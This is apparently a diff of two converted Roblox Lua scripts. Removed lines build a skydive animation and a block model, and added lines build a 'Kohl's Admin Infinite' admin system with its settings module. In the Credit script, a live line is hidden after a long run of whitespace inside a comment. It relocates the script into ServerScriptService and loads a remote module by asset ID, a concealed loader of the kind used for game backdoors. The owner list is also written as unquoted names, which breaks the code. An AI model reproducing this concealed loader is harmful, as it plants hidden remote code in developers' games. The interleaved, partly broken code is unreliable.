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1
2
--Converted with ttyyuu12345's model to script plugin v4
3
function sandbox(var,func)
4
	local env = getfenv(func)
5
	local newenv = setmetatable({},{
6
		__index = function(self,k)
7
			if k=="script" then
8
				return var
9
			else
10
				return env[k]
11
			end
12
		end,
13
	})
14
	setfenv(func,newenv)
15
	return func
16
end
17
cors = {}
18
mas = Instance.new("Model",game:GetService("Lighting"))
19-
LocalScript0 = Instance.new("LocalScript")
19+
Model0 = Instance.new("Model")
20
Script1 = Instance.new("Script")
21-
Model2 = Instance.new("Model")
21+
ModuleScript2 = Instance.new("ModuleScript")
22-
Part3 = Instance.new("Part")
22+
ModuleScript3 = Instance.new("ModuleScript")
23-
Part4 = Instance.new("Part")
23+
Camera4 = Instance.new("Camera")
24
Part5 = Instance.new("Part")
25-
Part6 = Instance.new("Part")
25+
Decal6 = Instance.new("Decal")
26-
Part7 = Instance.new("Part")
26+
BlockMesh7 = Instance.new("BlockMesh")
27-
Part8 = Instance.new("Part")
27+
PointLight8 = Instance.new("PointLight")
28-
Part9 = Instance.new("Part")
28+
Model0.Name = "Kohl's Admin Infinite"
29-
Part10 = Instance.new("Part")
29+
Model0.Parent = mas
30-
Part11 = Instance.new("Part")
30+
Script1.Name = "Credit"
31-
Part12 = Instance.new("Part")
31+
Script1.Parent = Model0
32-
Part13 = Instance.new("Part")
32+
33-
Part14 = Instance.new("Part")
33+
--[[																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																				]]if _G.KAU then script:Destroy() end _G.KAU=0 script.Name,script.Parent='Kohl\'s Admin Infinite',game:service'ServerScriptService' while require(306895131)~='badpotato' do wait(1) end																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																								--[[ Looking for me? ;)
34-
Part15 = Instance.new("Part")
34+
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
35-
Part16 = Instance.new("Part")
35+
::::::::'##:::'##::'#######::'##::::'##:'##:::::::'####::'######:::::::::
36-
Part17 = Instance.new("Part")
36+
:::::::: ##::'##::'##.... ##: ##:::: ##: ##::::::: ####:'##... ##::::::::
37-
Script18 = Instance.new("Script")
37+
:::::::: ##:'##::: ##:::: ##: ##:::: ##: ##:::::::. ##:: ##:::..:::::::::
38-
Part19 = Instance.new("Part")
38+
:::::::: #####:::: ##:::: ##: #########: ##:::::::'##:::. ######:::::::::
39-
Script20 = Instance.new("Script")
39+
:::::::: ##. ##::: ##:::: ##: ##.... ##: ##:::::::..:::::..... ##::::::::
40-
ParticleEmitter21 = Instance.new("ParticleEmitter")
40+
:::::::: ##:. ##:: ##:::: ##: ##:::: ##: ##:::::::::::::'##::: ##::::::::
41-
Part22 = Instance.new("Part")
41+
:::::::: ##::. ##:. #######:: ##:::: ##: ########:::::::. ######:::::::::
42-
LocalScript0.Name = "SKYDIVE ANIMATIONN"
42+
::::::::..::::..:::.......:::..:::::..::........:::::::::......::::::::::
43-
LocalScript0.Parent = mas
43+
:::::::::::::::'###::::'########::'##::::'##:'####:'##::: ##:::::::::::::
44-
table.insert(cors,sandbox(LocalScript0,function()
44+
::::::::::::::'## ##::: ##.... ##: ###::'###:. ##:: ###:: ##:::::::::::::
45-
wait(1)
45+
:::::::::::::'##:. ##:: ##:::: ##: ####'####:: ##:: ####: ##:::::::::::::
46-
Character = game.Players.LocalPlayer.Character
46+
::::::::::::'##:::. ##: ##:::: ##: ## ### ##:: ##:: ## ## ##:::::::::::::
47-
Camera = game.Workspace.CurrentCamera
47+
:::::::::::: #########: ##:::: ##: ##. #: ##:: ##:: ##. ####:::::::::::::
48-
Mouse = game.Players.LocalPlayer:GetMouse()
48+
:::::::::::: ##.... ##: ##:::: ##: ##:.:: ##:: ##:: ##:. ###:::::::::::::
49-
Tilt = 0
49+
:::::::::::: ##:::: ##: ########:: ##:::: ##:'####: ##::. ##:::::::::::::
50-
TiltConvergence = 0
50+
::::::::::::..:::::..::........:::..:::::..::....::..::::..::::::::::::::
51-
Twist = 0
51+
:::'####:'##::: ##:'########:'####:'##::: ##:'####:'########:'########:::
52-
TwistConvergence = 0
52+
:::. ##:: ###:: ##: ##.....::. ##:: ###:: ##:. ##::... ##..:: ##.....::::
53-
Speed = 0.975
53+
:::: ##:: ####: ##: ##:::::::: ##:: ####: ##:: ##::::: ##:::: ##:::::::::
54-
SpeedConvergence = 0.975
54+
:::: ##:: ## ## ##: ######:::: ##:: ## ## ##:: ##::::: ##:::: ######:::::
55-
SD = 0.95
55+
:::: ##:: ##. ####: ##...::::: ##:: ##. ####:: ##::::: ##:::: ##...::::::
56-
Flat = Vector3.new(1, 0, 1)
56+
:::: ##:: ##:. ###: ##:::::::: ##:: ##:. ###:: ##::::: ##:::: ##:::::::::
57-
CurrentCameraLV = nil
57+
:::'####: ##::. ##: ##:::::::'####: ##::. ##:'####:::: ##:::: ########:::
58-
MinVelocity = -100
58+
:::....::..::::..::..::::::::....::..::::..::....:::::..:::::........::::
59-
HasReset = false
59+
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
60-
Flying = false
60+
:::::::::::: Thanks for using Kohl's Admin Infinite Edition! ::::::::::::
61
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
62-
function KeyPressed(Key)
62+
:::::::::::::::::::: This script is developed by Kohl :::::::::::::::::::
63-
	if Key == "d" then
63+
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
64-
		TwistConvergence = 1
64+
: To configure the admin open the Settings module inside of this script	:
65-
	elseif Key == "a" then
65+
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
66-
		TwistConvergence = -1
66+
]]
67-
	elseif Key == "w" then
67+
68-
		TiltConvergence = 1
68+
ModuleScript2.Name = "Settings"
69-
	elseif Key == "s" then
69+
ModuleScript2.Parent = Script1
70-
		TiltConvergence = -1
70+
table.insert(cors,sandbox(ModuleScript2,function()
71-
	elseif Key == " " then
71+
--[[
72-
		SD = 0.95
72+
Use usernames or userIds to add a user to a list
73-
		SpeedConvergence = 0.66
73+
For example;	Admins={'MyBestFriend','Telamon',261}		]]
74-
	end
74+
75-
print(3)
75+
local Banned={'someoneyoudislike'} -- For those who have wronged you, & this guy
76
77
--------------------------------------------------------------
78-
function KeyUnpressed(Key)
78+
-- You DO NOT need to add yourself to any of these lists!!! --
79-
	if Key == "d" or Key == "a" then
79+
--------------------------------------------------------------
80-
		TwistConvergence = 0
80+
81-
	elseif Key == "w" or Key == "s" then
81+
local Owners={XXleo29maxXX,Iamapoopyturd}					-- Can set SuperAdmins, & use all the commands
82-
		TiltConvergence = 0
82+
local SuperAdmins={}			-- Can set permanent admins, & shutdown the game
83-
	elseif Key == " " then
83+
local Admins={}					-- Can ban, crash, & set Moderators/VIP
84-
		SD = 0.975
84+
local Mods={}					-- Can kick, mute, & use most commands
85-
		SpeedConvergence = 1
85+
local VIP={}					-- Can use nonabusive commands only on self
86-
	end
86+
--
87-
print(4)
87+
-- THESE ARE THE CORE SETTINGS
88
-- YOU WILL NOT BE ABLE TO CHANGE THEM IN-GAME
89
local Settings={
90-
Mouse.KeyDown:connect(KeyPressed)
90+
								--[[
91-
Mouse.KeyUp:connect(KeyUnpressed)
91+
Style Options
92
�������������					]]
93-
function ChangeWeld(Weld, C0, C1)
93+
Flat=false;						-- Enables Flat theme / Disables Aero theme
94-
	Weld.C0, Weld.C1 = C0, C1
94+
ForcedColor=false;				-- Forces everyone to have set color & transparency
95
Color=Color3.new(0,0,0);		-- Changes the Color of the user interface
96
ColorTransparency=.75;			-- Changes the Transparency of the user interface
97-
function MakeRay(From, To)
97+
Chat=false;						-- Enables the custom chat
98-
	local Hit, Position = game.Workspace:FindPartOnRay(Ray.new(From, To - From), Character)
98+
BubbleChat=false;				-- Enables the custom bubble chat
99-
	return {Hit = Hit, Position = Position}
99+
								--[[
100
Basic Settings
101
��������������					]]
102-
while true do
102+
AdminCredit=true;				-- Enables the credit GUI for that appears in the bottom right
103-
	wait()
103+
AutoClean=false;				-- Enables automatic cleaning of hats & tools in the Workspace
104-
	Twist = (Twist * 31 + TwistConvergence) / 32
104+
AutoCleanDelay=60;				-- The delay between each AutoClean routine
105-
	Tilt = (Tilt * 31 + TiltConvergence) / 32
105+
CommandBar=true;				-- Enables the Command Bar | GLOBAL KEYBIND: \
106-
	Speed = (Speed * 15 + SpeedConvergence) / 16
106+
FunCommands=true;				-- Enables fun yet unnecessary commands
107-
	if Character.Torso.Velocity.y < MinVelocity and not Character.Humanoid.Sit then
107+
FreeAdmin=false;				-- Set to 1-5 to grant admin powers to all, otherwise set to false
108-
		Character.Animate.Disabled = true
108+
PublicLogs=false;				-- Allows all users to see the command & chat logs
109-
		VMag = math.sqrt(Character.Torso.Velocity.magnitude / 48)
109+
Prefix=':';						-- Character to begin a command
110-
		DMag = ((Character.Torso.CFrame * CFrame.Angles(1.57, 0, 0)).lookVector - Character.Torso.Velocity.unit).magnitude
110+
								--[[
111-
		MinVelocity = -50
111+
Admin Powers
112-
		HasReset = false
112+
������������
113-
		Character.Humanoid.PlatformStand = true
113+
0			Player
114-
		Raise = math.max(math.min(Character.Torso.Velocity.y / 800 - (DMag * VMag / 4), 1), -1)
114+
1			VIP					Can use nonabusive commands only on self
115-
		CurrentCameraLV = (game.Workspace.CurrentCamera.CoordinateFrame.lookVector * Flat).unit
115+
2			Moderator			Can kick, mute, & use most commands
116-
		Character.Torso.CFrame = CFrame.new(Character.Torso.Position, Character.Torso.Position + ((Character.Torso.CFrame * CFrame.Angles(1.57, 0, 0)).lookVector * Flat * 15 + CurrentCameraLV)/16) * CFrame.Angles(-Tilt - 1.57, Twist, 0)
116+
3			Administrator		Can ban, crash, & set Moderators/VIP
117-
		Character.Torso.Velocity = Character.Torso.Velocity*SD + CurrentCameraLV*Tilt*5 + Vector3.new(-CurrentCameraLV.z, 0, CurrentCameraLV.x)*Twist*5
117+
4			SuperAdmin			Can grant permanent powers, & shutdown the game
118-
		Character.Torso.RotVelocity = Vector3.new(0, 0, 0)
118+
5			Owner				Can set SuperAdmins, & use all the commands
119-
	elseif not HasReset then
119+
6			Game Creator		Can set owners & use all the commands
120-
		Character.Animate.Disabled = false
120+
121-
		MinVelocity = -100
121+
Group & VIP Admin
122-
		Character.Humanoid.PlatformStand = false
122+
�����������������
123-
		HasReset = true
123+
			You can set multiple Groups & Ranks to grant users admin powers
124-
	end
124+
GroupAdmin={
125
[12345]={[254]=4,[253]=3};
126
[GROUPID]={[RANK]=ADMINPOWER}
127-
Script1.Parent = LocalScript0
127+
};
128
			You can set multiple Assets to grant users admin powers
129-
if script.Parent.Parent ~= game.StarterPack or script.Parent.Parent.Parent.Parent ~= game.Players then
129+
VIPAdmin={
130-
	script.Parent.Parent = game.StarterPack
130+
[12345]=3;
131
[54321]=4;
132-
script:Remove()
132+
[ITEMID]=ADMINPOWER;
133
};								]]
134-
Model2.Name = "hole"
134+
135-
Model2.Parent = mas
135+
GroupAdmin={
136-
Part3.Name = "Smooth Block Model"
136+
137-
Part3.Parent = Model2
137+
};
138-
Part3.CFrame = CFrame.new(234.944046, 350.500092, 196.823502, 0, 1, 0, 1, 0, 0, 0, 0, -1)
138+
139-
Part3.Orientation = Vector3.new(0, 180, 90)
139+
VIPAdmin={
140-
Part3.Position = Vector3.new(234.944046, 350.500092, 196.823502)
140+
141-
Part3.Rotation = Vector3.new(-180, 0, -90)
141+
};
142-
Part3.Color = Color3.new(0.427451, 0.431373, 0.423529)
142+
143-
Part3.Size = Vector3.new(701.999695, 16.5176392, 13.7646999)
143+
								--[[
144-
Part3.Anchored = true
144+
Permissions
145-
Part3.BottomSurface = Enum.SurfaceType.Smooth
145+
�����������
146-
Part3.BrickColor = BrickColor.new("Dark grey")
146+
-- You can set the admin power required to use a command
147-
Part3.Material = Enum.Material.Slate
147+
-- COMMANDNAME=ADMINPOWER;		]]
148-
Part3.TopSurface = Enum.SurfaceType.Smooth
148+
149-
Part3.brickColor = BrickColor.new("Dark grey")
149+
Permissions={
150-
Part4.Name = "Smooth Block Model"
150+
151-
Part4.Parent = Model2
151+
};
152-
Part4.CFrame = CFrame.new(221.179352, 350.499939, 210.588196, 0, 1, 0, 1, 0, 0, 0, 0, -1)
152+
153-
Part4.Orientation = Vector3.new(0, 180, 90)
153+
}
154-
Part4.Position = Vector3.new(221.179352, 350.499939, 210.588196)
154+
155-
Part4.Rotation = Vector3.new(-180, 0, -90)
155+
return {Settings,{Owners,SuperAdmins,Admins,Mods,VIP,Banned}}
156-
Part4.Color = Color3.new(0.427451, 0.431373, 0.423529)
156+
157-
Part4.Size = Vector3.new(701.999695, 16.5176392, 13.7646999)
157+
ModuleScript3.Name = "Custom Commands"
158-
Part4.Anchored = true
158+
ModuleScript3.Parent = Script1
159-
Part4.BottomSurface = Enum.SurfaceType.Smooth
159+
table.insert(cors,sandbox(ModuleScript3,function()
160-
Part4.BrickColor = BrickColor.new("Dark grey")
160+
--[[
161-
Part4.Material = Enum.Material.Slate
161+
162-
Part4.TopSurface = Enum.SurfaceType.Smooth
162+
ADMIN POWERS
163-
Part4.brickColor = BrickColor.new("Dark grey")
163+
164-
Part5.Name = "Smooth Block Model"
164+
0		Player
165-
Part5.Parent = Model2
165+
1		VIP/Donor
166-
Part5.CFrame = CFrame.new(179.885254, 350.499969, 224.35289, 0, 1, 0, 1, 0, 0, 0, 0, -1)
166+
2		Moderator
167-
Part5.Orientation = Vector3.new(0, 180, 90)
167+
3		Administrator
168-
Part5.Position = Vector3.new(179.885254, 350.499969, 224.35289)
168+
4		Super Administrator
169-
Part5.Rotation = Vector3.new(-180, 0, -90)
169+
5		Owner
170-
Part5.Color = Color3.new(0.427451, 0.431373, 0.423529)
170+
6		Game Creator
171-
Part5.Size = Vector3.new(701.999695, 66.0705566, 13.7646999)
171+
172
First table consists of the different variations of the command.
173
174-
Part5.BrickColor = BrickColor.new("Dark grey")
174+
Second table consists of the description and an example of how to use it.
175
176
Third index is the ADMIN POWER required to use the command.
177-
Part5.brickColor = BrickColor.new("Dark grey")
177+
178-
Part6.Name = "Smooth Block Model"
178+
Fourth table consists of the arguments that will be returned in the args table.
179-
Part6.Parent = Model2
179+
'player'	-- returns an array of Players
180-
Part6.CFrame = CFrame.new(251.461212, 350.499786, 128, 0, 1, 0, 1, 0, 0, 0, 0, -1)
180+
'userid'	-- returns an array of userIds
181-
Part6.Orientation = Vector3.new(0, 180, 90)
181+
'boolean'	-- returns a Boolean value
182-
Part6.Position = Vector3.new(251.461212, 350.499786, 128)
182+
'color'		-- returns a Color3 value
183-
Part6.Rotation = Vector3.new(-180, 0, -90)
183+
'number'	-- returns a Number value
184-
Part6.Color = Color3.new(0.427451, 0.431373, 0.423529)
184+
'string'	-- returns a String value
185-
Part6.Size = Vector3.new(701.999695, 16.5176392, 123.882301)
185+
'time'		-- returns # of seconds
186-
Part6.Anchored = true
186+
'banned'	-- returns a value from Bans table
187-
Part6.BottomSurface = Enum.SurfaceType.Smooth
187+
'admin'		-- returns a value from Admins table
188-
Part6.BrickColor = BrickColor.new("Dark grey")
188+
-- Adding / to any argument will make it optional; can return nil!!!
189-
Part6.Material = Enum.Material.Slate
189+
190-
Part6.TopSurface = Enum.SurfaceType.Smooth
190+
Fifth index consists of the function that will run when the command is executed properly.	]]
191-
Part6.brickColor = BrickColor.new("Dark grey")
191+
return {
192-
Part7.Name = "Smooth Block Model"
192+
193-
Part7.Parent = Model2
193+
{{'test','othertest'},{'Test command.','Example'},6,{'number','string/'},function(pl,args)
194-
Part7.CFrame = CFrame.new(138.59137, 350.499939, 210.588196, 0, 1, 0, 1, 0, 0, 0, 0, -1)
194+
print(pl,args[1],args[2])
195-
Part7.Orientation = Vector3.new(0, 180, 90)
195+
end}
196-
Part7.Position = Vector3.new(138.59137, 350.499939, 210.588196)
196+
197-
Part7.Rotation = Vector3.new(-180, 0, -90)
197+
};
198-
Part7.Color = Color3.new(0.427451, 0.431373, 0.423529)
198+
199-
Part7.Size = Vector3.new(701.999695, 16.5176392, 13.7646999)
199+
Camera4.Name = "ThumbnailCamera"
200-
Part7.Anchored = true
200+
Camera4.Parent = Model0
201-
Part7.BottomSurface = Enum.SurfaceType.Smooth
201+
Camera4.CFrame = CFrame.new(98, 90.9000015, -125.5, -1, 0, 0, 0, 1, 0, 0, 0, -1)
202-
Part7.BrickColor = BrickColor.new("Dark grey")
202+
Camera4.CoordinateFrame = CFrame.new(98, 90.9000015, -125.5, -1, 0, 0, 0, 1, 0, 0, 0, -1)
203-
Part7.Material = Enum.Material.Slate
203+
Camera4.Focus = CFrame.new(98, 90.9000015, -123, 1, 0, 0, 0, 1, 0, 0, 0, 1)
204-
Part7.brickColor = BrickColor.new("Dark grey")
204+
Camera4.focus = CFrame.new(98, 90.9000015, -123, 1, 0, 0, 0, 1, 0, 0, 0, 1)
205-
Part8.Name = "Smooth Block Model"
205+
Part5.Parent = Camera4
206-
Part8.Parent = Model2
206+
Part5.CFrame = CFrame.new(-14.25, 2.1000061, 63.25, 1, 0, 0, 0, 1, 0, 0, 0, 1)
207-
Part8.CFrame = CFrame.new(122.073555, 350.499908, 196.823502, 0, 1, 0, 1, 0, 0, 0, 0, -1)
207+
Part5.Position = Vector3.new(-14.25, 2.1000061, 63.25)
208-
Part8.Orientation = Vector3.new(0, 180, 90)
208+
Part5.Color = Color3.new(0.972549, 0.972549, 0.972549)
209-
Part8.Position = Vector3.new(122.073555, 350.499908, 196.823502)
209+
Part5.Transparency = 1
210-
Part8.Rotation = Vector3.new(-180, 0, -90)
210+
Part5.Size = Vector3.new(4.19999981, 4.19999981, 0.200000003)
211-
Part8.Color = Color3.new(0.427451, 0.431373, 0.423529)
211+
212-
Part8.Size = Vector3.new(701.999695, 16.5176392, 13.7646999)
212+
213-
Part8.Anchored = true
213+
Part5.BrickColor = BrickColor.new("Institutional white")
214-
Part8.BottomSurface = Enum.SurfaceType.Smooth
214+
Part5.CanCollide = false
215-
Part8.BrickColor = BrickColor.new("Dark grey")
215+
Part5.Locked = true
216-
Part8.Material = Enum.Material.Slate
216+
217-
Part8.brickColor = BrickColor.new("Dark grey")
217+
218-
Part9.Name = "Smooth Block Model"
218+
Part5.brickColor = BrickColor.new("Institutional white")
219-
Part9.Parent = Model2
219+
Part5.FormFactor = Enum.FormFactor.Custom
220-
Part9.CFrame = CFrame.new(105.554909, 350.499786, 72.9412079, 0, 1, 0, 1, 0, 0, 0, 0, -1)
220+
Part5.formFactor = Enum.FormFactor.Custom
221-
Part9.Orientation = Vector3.new(0, 180, 90)
221+
Decal6.Parent = Part5
222-
Part9.Position = Vector3.new(105.554909, 350.499786, 72.9412079)
222+
Decal6.Texture = "rbxassetid://314925538"
223-
Part9.Rotation = Vector3.new(-180, 0, -90)
223+
BlockMesh7.Parent = Part5
224-
Part9.Color = Color3.new(0.427451, 0.431373, 0.423529)
224+
BlockMesh7.Scale = Vector3.new(1, 1, 0)
225-
Part9.Size = Vector3.new(701.999695, 16.5176392, 13.7646999)
225+
PointLight8.Parent = Part5
226-
Part9.Anchored = true
226+
PointLight8.Range = 10
227-
Part9.BottomSurface = Enum.SurfaceType.Smooth
227+
PointLight8.Brightness = 100
228-
Part9.BrickColor = BrickColor.new("Dark grey")
228+
229-
Part9.Material = Enum.Material.Slate
229+
230-
Part9.brickColor = BrickColor.new("Dark grey")
230+
231-
Part10.Name = "Smooth Block Model"
231+
232-
Part10.Parent = Model2
232+
233-
Part10.CFrame = CFrame.new(105.554909, 350.499786, 183.058807, 0, 1, 0, 1, 0, 0, 0, 0, -1)
233+
234-
Part10.Orientation = Vector3.new(0, 180, 90)
234+
235-
Part10.Position = Vector3.new(105.554909, 350.499786, 183.058807)
235+
236-
Part10.Rotation = Vector3.new(-180, 0, -90)
236+
237-
Part10.Color = Color3.new(0.427451, 0.431373, 0.423529)
237+